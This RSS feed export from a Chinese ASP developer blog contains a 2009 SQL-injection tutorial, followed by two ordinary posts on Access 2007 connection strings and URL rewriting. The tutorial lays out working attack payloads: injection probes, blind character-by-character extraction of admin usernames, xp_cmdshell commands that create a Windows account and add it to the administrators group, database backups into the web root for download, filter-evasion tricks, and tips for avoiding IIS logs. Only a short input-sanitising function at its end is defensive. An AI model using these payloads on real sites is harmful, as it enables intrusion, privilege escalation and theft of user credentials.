<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[设计碎片 - Asp]]></title>
<link>http://blog.edotpower.com/</link>
<description><![CDATA[网络那么乱，可我还得拼...]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[star520dust@163.com(Hsure)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>设计碎片</title> 
	<url>http://blog.edotpower.com/images/logos.gif</url> 
	<link>http://blog.edotpower.com/</link> 
	<description>设计碎片</description> 
</image>

			<item>
			<link>http://blog.edotpower.com/default.asp?id=146</link>
			<title><![CDATA[ASP注入漏洞全接触]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
			<pubDate>Sun,03 May 2009 16:55:10 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=146</guid>	
		<description><![CDATA[<p>引 言</p>
<p>随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即ＳＱＬ注入。</p>
<p>&nbsp;</p>
<p>ＳＱＬ注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。</p>
<p>&nbsp;</p>
<p>但是，ＳＱＬ注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与&ldquo;菜鸟&rdquo;的根本区别。</p>
<p>&nbsp;</p>
<p>根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let's Go...</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>入 门 篇</p>
<p>如果你以前没试过ＳＱＬ注入的话，那么第一步先把IE菜单=&gt;工具=&gt;Internet选项=&gt;高级=&gt;显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。</p>
<p>&nbsp;</p>
<p>第一节、ＳＱＬ注入原理</p>
<p>以下我们从一个网站<a href="http://www.xxx.xx/">www.xxx.xx</a>开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。</p>
<p>在网站首页上，有名为&ldquo;IE不能打开新窗口的多种解决方法&rdquo;的链接，地址为：<a href="http://www.xxx.xx/showdetail.asp?id=49">http://www.xxx.xx/showdetail.asp?id=49</a>，我们在这个地址后面加上单引号&rsquo;，服务器会返回下面的错误提示：</p>
<p>Microsoft JET Database Engine 错误 '80040e14' </p>
<p>字符串的语法错误 在查询表达式 'ID=49'' 中。 </p>
<p>/showdetail.asp，行8</p>
<p>从这个错误提示我们能看出下面几点：</p>
<p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。</p>
<p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 程序没有判断客户端提交的数据是否符合程序要求。</p>
<p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 该SQL语句所查询的表中有一名为ID的字段。</p>
<p>&nbsp;</p>
<p>从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>第二节、判断能否进行ＳＱＬ注入</p>
<p>看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？</p>
<p>其实，这并不是最好的方法，为什么呢？</p>
<p>首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。</p>
<p>其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的</p>
<p>　　那么，什么样的测试方法才是比较准确呢？答案如下：</p>
<p>① <a href="http://www.xxx.xx/showdetail.asp?id=49">http://www.xxx.xx/showdetail.asp?id=49</a></p>
<p>② <a href="http://www.xxx.xx/showdetail.asp?id=49">http://www.xxx.xx/showdetail.asp?id=49</a> and 1=1</p>
<p>③ <a href="http://www.xxx.xx/showdetail.asp?id=49">http://www.xxx.xx/showdetail.asp?id=49</a> and 1=2</p>
<p>这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：</p>
<p>可以注入的表现：</p>
<p>① 正常显示（这是必然的，不然就是程序有错误了）</p>
<p>② 正常显示，内容基本与①相同</p>
<p>③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next） <br /><br /><br />不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。</p>
<p>当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的&ldquo;ＳＱＬ注入一般步骤&rdquo;再做分析。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>第三节、判断数据库类型及注入方法</p>
<p>不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。</p>
<p>怎么让程序告诉你它使用的什么数据库呢？来看看：</p>
<p>SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：</p>
<p><a href="http://www.xxx.xx/showdetail.asp?id=49">http://www.xxx.xx/showdetail.asp?id=49</a> and user&gt;0</p>
<p>这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 &rdquo;abc&rdquo; 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。</p>
<p>顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将&rdquo;dbo&rdquo;转换成int的列发生错误，而不是&rdquo;sa&rdquo;。 </p>
<p>如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示&ldquo;没有权限&rdquo;，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。</p>
<p>在确认可以注入的情况下，使用下面的语句：</p>
<p><a href="http://www.xxx.xx/showdetail.asp?id=49">http://www.xxx.xx/showdetail.asp?id=49</a> and (select count(*) from sysobjects)&gt;0</p>
<p><a href="http://www.xxx.xx/showdetail.asp?id=49">http://www.xxx.xx/showdetail.asp?id=49</a> and (select count(*) from msysobjects)&gt;0</p>
<p>如果数据库是SQLServer，那么第一个网址的页面与原页面<a href="http://www.xxx.xx/showdetail.asp?id=49">http://www.xxx.xx/showdetail.asp?id=49</a>是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。</p>
<p>如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>进 阶 篇</p>
<p>在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：</p>
<p><br />第一节、ＳＱＬ注入的一般步骤</p>
<p>首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。</p>
<p>其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：</p>
<p>(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下： <br />Select * from 表名 where 字段=49 <br />注入的参数为ID=49 And [查询条件]，即是生成语句： <br />Select * from 表名 where 字段=49 And [查询条件]</p>
<p><br />(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下： <br /><br /></p>
<p>3 ASP注入漏洞全接触 <br />Select * from 表名 where 字段=&rsquo;连续剧&rsquo; <br />注入的参数为Class=连续剧&rsquo; and [查询条件] and &lsquo;&rsquo;=&rsquo; ，即是生成语句： <br />Select * from 表名 where 字段=&rsquo;连续剧&rsquo; and [查询条件] and &lsquo;&rsquo;=&rsquo;&rsquo;</p>
<p>(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下： <br />Select * from 表名 where 字段like &rsquo;%关键字%&rsquo; <br />注入的参数为keyword=&rsquo; and [查询条件] and &lsquo;%25&rsquo;=&rsquo;， 即是生成语句： <br />Select * from 表名 where字段like &rsquo;%&rsquo; and [查询条件] and &lsquo;%&rsquo;=&rsquo;%&rsquo;</p>
<p>接着，将查询条件替换成SQL语句，猜解表名，例如：</p>
<p>ID=49 And (Select Count(*) from Admin)&gt;=0</p>
<p>如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。</p>
<p>表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。</p>
<p>有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。</p>
<p>有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。</p>
<p>我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：</p>
<p><a href="http://www.xxx.xx/showdetail.asp?id=49">http://www.xxx.xx/showdetail.asp?id=49</a> and (select top 1 len(username) from Admin)&gt;0</p>
<p>先说明原理：如果top 1的username长度大于0，则条件成立；接着就是&gt;1、&gt;2、&gt;3这样测试下去，一直到条件不成立为止，比如&gt;7成立，&gt;8不成立，就是len(username)=8</p>
<p>　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：</p>
<p>id=49 and (select top 1 asc(mid(username,1,1)) from Admin)&gt;0</p>
<p>同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。</p>
<p>&nbsp;</p>
<p>第二节、ＳＱＬ注入常用函数</p>
<p>有SQL语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。</p>
<p>Access：asc(字符) SQLServer：unicode(字符)</p>
<p>作用：返回某字符的ASCII码</p>
<p>&nbsp;</p>
<p>Access：chr(数字) SQLServer：nchar(数字)</p>
<p>作用：与asc相反，根据ASCII码返回字符</p>
<p>&nbsp;</p>
<p>Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)</p>
<p>作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串</p>
<p>&nbsp;</p>
<p>Access：abc(数字) SQLServer：abc (数字)</p>
<p>作用：返回数字的绝对值（在猜解汉字的时候会用到）</p>
<p>&nbsp;</p>
<p>Access：A between B And C SQLServer：A between B And C</p>
<p>作用：判断A是否界于B与C之间</p>
<p>&nbsp;</p>
<p>第三节、中文处理方法</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，&ldquo;中文恐惧症&rdquo;很快可以克服。</p>
<p>先说一点常识：</p>
<p>Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。</p>
<p>SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。 <br /><br /><br />高 级 篇</p>
<p>看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。</p>
<p>&nbsp;</p>
<p>第一节、利用系统表注入SQLServer数据库</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：</p>
<p>① <a href="http://site/url.asp?id=1;exec">http://Site/url.asp?id=1;exec</a> master..xp_cmdshell &ldquo;net user name password /add&rdquo;--</p>
<p>　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：</p>
<p>② <a href="http://site/url.asp?id=1;exec">http://Site/url.asp?id=1;exec</a> master..xp_cmdshell &ldquo;net localgroup name administrators /add&rdquo;--</p>
<p>　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。</p>
<p>　　③ <a href="http://site/url.asp?id=1">http://site/url.asp?id=1</a> and db_name()&gt;0</p>
<p>前面有个类似的例子and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。</p>
<p>④ <a href="http://site/url.asp?id=1;backup">http://Site/url.asp?id=1;backup</a> database 数据库名 to disk=&rsquo;c:\inetpub\wwwroot\1.db&rsquo;;--</p>
<p>这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如<a href="http://blog.edotpower.com/file://202.96.xx.xx/Share/1.db">\\202.96.xx.xx\Share\1.db</a>），但成功率不高。</p>
<p>　　⑤ <a href="http://site/url.asp?id=1">http://site/url.asp?id=1</a> and (Select Top 1 name from sysobjects where xtype=&rsquo;U&rsquo; and status&gt;0)&gt;0</p>
<p>前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=&rsquo;U&rsquo; and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。</p>
<p>⑥ <a href="http://site/url.asp?id=1">http://site/url.asp?id=1</a> and (Select Top 1 col_name(object_id(&lsquo;表名&rsquo;),1) from sysobjects)&gt;0</p>
<p>从⑤拿到表名后，用object_id(&lsquo;表名&rsquo;)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。</p>
<p>&nbsp;</p>
<p>　　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。</p>
<p>&nbsp;</p>
<p>第二节、绕过程序限制继续注入</p>
<p>在入门篇提到，有很多人喜欢用&rsquo;号测试注入漏洞，所以也有很多人用过滤&rsquo;号的方法来&ldquo;防止&rdquo;注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。</p>
<p>在&ldquo;ＳＱＬ注入的一般步骤&rdquo;一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在&ldquo;利用系统表注入SQLServer数据库&rdquo;中，有些语句包含有&rsquo;号，我们举个例子来看看怎么改造这些语句：</p>
<p>简单的如where xtype=&rsquo;U&rsquo;，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=&rsquo;用户&rsquo;，可以用where name=nchar(29992)+nchar(25143)代替。</p>
<p>&nbsp;</p>
<p>第三节、经验小结</p>
<p>1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用select这样尝试一下。</p>
<p>2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。</p>
<p>3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。</p>
<p>4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。</p>
<p>5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>防 范 方 法</p>
<p>ＳＱＬ注入漏洞可谓是&ldquo;千里之堤，溃于蚁穴&rdquo;，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：</p>
<p><br />Function SafeRequest(ParaName,ParaType) <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '--- 传入参数 --- <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'ParaName:参数名称-字符型 <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Paravalue <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Paravalue=Request(ParaName) <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If ParaType=1 then <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If not isNumeric(Paravalue) then <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.write &quot;参数&quot; &amp; ParaName &amp; &quot;必须为数字型！&quot; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.end <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End if <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Paravalue=replace(Paravalue,&quot;'&quot;,&quot;''&quot;) <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End if <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SafeRequest=Paravalue <br />End function <br /></p>]]></description>
		</item>
		
			<item>
			<link>http://blog.edotpower.com/default.asp?id=96</link>
			<title><![CDATA[ASP连接ACCESS2007数据库时注意事项]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
			<pubDate>Mon,20 Oct 2008 12:58:24 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=96</guid>	
		<description><![CDATA[前几天在自己的笔记本上安装了OFFICE2007。今天做了一个<a href="http://baiduquery.newbooks.com.cn/">百度友情链接检查的工具</a>，&nbsp;在连接ACCESS2007数据库的时候，使用的驱动代码为：&quot;provider=microsoft.jet.oledb.4.0;data source=&quot;&amp;server.mappath(&quot;queryrecord.mdb&quot;) 。确发现提示：
<p>Microsoft JET Database Engine<font face="宋体, MS Song" size="3"> </font><font face="宋体" size="2">错误 '80004005'</font><font face="宋体, MS Song" size="3"> </font></p>
<p><font face="宋体" size="2">不可识别的数据库格式<br /></font><font face="宋体" size="2">但是以前没装OFFICE2007前建立好的数据库（以前用的ACCESS2003），使用这个代码可以正常运行。想了一想，估计是因为ACCESS2007的驱动代码已经发生变化。进入<a href="http://www.connectionstrings.com/">http://www.connectionstrings.com/</a>（注意：该网站提供了现有所有数据库的连接方式，建议大家收藏该网址）一看，果真ACCESS2007的数据库连接方式已经发生变化。已经更改为：<br /><span class="csKeyword">Provider</span>=<span class="csValue">Microsoft.ACE.OLEDB.12.0</span>;<span class="csKeyword">Data Source</span>=<span class="csValue">C:\myFolder\myAccess2007file.accdb</span>;<span class="csKeyword">Persist Security Info</span>=<span class="csValue">False</span>;</font></p>
<p><font face="宋体" size="2">于是更改了下代码，程序运行正常。<br />随后将代码更新至服务器,确发现程序还是不能运行，提示&ldquo;驱动没有安装&rdquo;，于是把驱动代码更改为microsoft.jet.oledb.4.0，提示&ldquo;不可识别的数据库格式&rdquo;，看来在本机建立的数据库为ACCESS2007的话，传到服务器上仍旧为ACCESS2007。于是网上搜索了一下ACCESS2007的驱动，安装，程序运行正常。<br />ACCESS2007的驱动下载地址：<a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=7554f536-8c28-4598-9b72-ef94e038c891&amp;DisplayLang=zh-cn">http://www.microsoft.com/downloads/details.aspx?FamilyID=7554f536-8c28-4598-9b72-ef94e038c891&amp;DisplayLang=zh-cn</a></font></p>]]></description>
		</item>
		
			<item>
			<link>http://blog.edotpower.com/default.asp?id=94</link>
			<title><![CDATA[几种静态化方法，希望对您有所帮助]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
			<pubDate>Sun,28 Sep 2008 11:35:39 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=94</guid>	
		<description><![CDATA[从网上找到的几种静态化方法，时间长了，也忘了出处，不过大家还是可以学习一下。<br/><br/>几种静态化方法：<br/>1. 使用IIS_ReWrite 静态化处理，适合PHP、ASP、ASP.NET 程序。<br/>A. isapi_rewrite.isapi_rewrite分精简(lite)和完全(full)版.精简版不支持对每个虚拟主机站点进行<br/>重写,只能进行全局处理，精简版下载地址ISAPI_Rewrite 2.7 For IIS 。<br/>B. 打开IIS，选择网站，右键菜单属性，添加过滤器。如图：<br/>C. 打开文件：开始菜单-&gt;程序-&gt;Helicon-&gt;ISAPI_Rewrite-&gt;httpd.ini<br/>D. 将RewriteRule /user/(\d+).htm /user.asp\?id=$1 [I,O] 加入内容中。<br/>E. 在浏览器地址栏输入：/user/1.htm 页面将指向/user.asp?id=1。<br/><br/>2. 使用虚拟主机的ASP 网站，需要使用404 错误操作实现静态化。<br/>A. 下载404 处理页面。404_Rewrite_GB2312.rar<br/>B. 解压后将Rewrite.asp、error.asp 放在网站的根目录。<br/>C. 设置网站自定义错误信息如图：<br/>D. 在error.asp 里添加处理命令：<br/>Call ParaseUrl(&#34;/(\d+).htm&#34;,&#34;/user.asp?User=$1&#34;)<br/>E. 在需要静态化的实例user.asp 页面中添加代码：<br/>&lt;!-- #include virtual=&#34;/rewrite.asp&#34; --&gt; 引用文件<br/>&lt;%<br/>response.write &#34;&lt;li&gt;Para=&#34; &amp; session(&#34;Para&#34;) ‘变量是通过Session 传递<br/>‘原来使用request(“user”)获得参数的命令，需要修改成request_(“user”)调用<br/>response.write &#34;&lt;li&gt;request_(&#34;&#34;User&#34;&#34;)=&#34; &amp; request_(&#34;User&#34;)<br/>‘原用request.querystring (“user”)获得参数命令，修改为request__.querystring (“user”)调用<br/>response.write &#34;&lt;li&gt;request__.querystring(&#34;&#34;User&#34;&#34;)=&#34; &amp; request__.querystring(&#34;User&#34;)<br/>%&gt;<br/>F. 在地址栏输入/1.htm ,实际调用/user.asp?user=1<br/><br/>3. 使用asp.net 开发的网页程序，使用URLRewriter.dll 实现静态化。<br/>A. 下载URLRewriter.rar，解压后放在/bin/目录下<br/>B. 将URLRewriter.rar 加入工程引用。<br/>C. 配置IIS 站点，将扩展名为html 指向处理程序aspnet_isapi.dll。<br/>&nbsp;&nbsp; IIS 站点-&gt;属性-&gt;主目录-&gt;配置-&gt;添加<br/>&nbsp;&nbsp; 可执行文件和aspx 处理相同，都是 c:\windows\microsoft.net\framework\v2.0.50727\aspnet_isapi.dll<br/>&nbsp;&nbsp;&nbsp;&nbsp; 特别注意，一定不要选择检查文件是否存在。<br/>D. 在web.config 中添加配置内容，压缩包里有。<br/>&lt;configSections&gt;<br/>&lt;section name=&#34;RewriterConfig&#34;<br/>type=&#34;URLRewriter.Config.RewriterConfigSerializerSectionHandler, URLRewriter&#34; /&gt;<br/>&lt;/configSections&gt;<br/>&lt;!-- 实际重定向--&gt;<br/>&lt;RewriterConfig&gt;<br/>&lt;Rules&gt;<br/>&lt;RewriterRule&gt;<br/>&lt;LookFor&gt;~/(\d*).html&lt;/LookFor&gt;<br/>&lt;SendTo&gt;~/user/default.aspx?link=$1&lt;/SendTo&gt;<br/>&lt;/RewriterRule&gt;<br/>&lt;/Rules&gt;<br/>&lt;/RewriterConfig&gt;<br/>&lt;system.web&gt;<br/>&lt;!--<br/>需要在IIS 里面增加html 引用，改成aspx 的引用<br/>--&gt;<br/>&lt;httpHandlers&gt;<br/>&lt;add verb=&#34;*&#34; path=&#34;*.aspx&#34;<br/>type=&#34;URLRewriter.RewriterFactoryHandler, URLRewriter&#34; /&gt;<br/>&lt;add verb=&#34;*&#34; path=&#34;*.html&#34;<br/>type=&#34;URLRewriter.RewriterFactoryHandler, URLRewriter&#34; /&gt;<br/>&lt;/httpHandlers&gt;<br/>E. 在地址栏输入<a href="http://localhost/1.html" target="_blank">http://localhost/1.html</a> 指向<a href="http://localhost/user/default.aspx?link=1" target="_blank">http://localhost/user/default.aspx?link=1</a><br/><br/>4. 基于Apache HTTP Server 静态化Apache Web Server 的配置(conf/httpd.conf )<br/>A. 在httpd.conf 文件中查找LoadModule rewrite_module modules/mod_rewrite.so<br/>通常该行被注释，去掉“#”。如果没有就增加该行。<br/>B. 加入代码：<br/>&lt;IfModule mod_rewrite.c&gt;<br/>RewriteEngine On<br/>RewriteRule ^/([0-9]+).html$ /user.php?user=$1<br/>&lt;/IfModule&gt;<br/>C. 如果网站使用通过虚拟主机来定义，请务必加到虚拟主机配置文件.htccess 中去，否则可能<br/>无法使用。<br/>D. 重启Apache，重新载入配置。<br/>E. 在地址栏输入<a href="http://localhost/1.html" target="_blank">http://localhost/1.html</a> ，实际指向<a href="http://localhost/user.php?user=1" target="_blank">http://localhost/user.php?user=1</a><br/><br/><br/><br/><br/>5. 静态化后文件格式<br/>链接静态化后可以是html 文件，也可以是目录，通常目录的权重大于文件的权重，可以在搜索<br/>引擎中获得更好的排名。<br/>例如：优化前：<a target="_blank" href="http://www.xxxxxx.com/user.asp?id=1">http://www.xxxxxx.com/user.asp?id=1</a><br/>优化后文件：<a target="_blank" href="http://www.xxxxxx.com/user/1.html">http://www.xxxxxx.com/user/1.html</a><br/>目录：<a target="_blank" href="http://www.xxxxxx.com/user/1/">http://www.xxxxxx.com/user/1/</a><br/>同等条件下<a target="_blank" href="http://www.xxxxx.com/user/1/">http://www.xxxxx.com/user/1/</a> 有更高的优先权。<br/>框架结构<br/>框架结构，即帧结构（Frame），包括IFrame,Frame。<br/>例如：框架结构示例。<br/>&lt;frameset rows=&#34;97,*&#34; cols=&#34;*&#34; frameborder=&#34;yes&#34; border=&#34;0&#34; framespacing=&#34;0&#34;&gt;<br/>&lt;frame src=&#34;top.html&#34; name=&#34;topFrame&#34; frameborder=&#34;no&#34; scrolling=&#34;No&#34; noresize=&#34;noresize&#34;<br/>id=&#34;topFrame&#34; 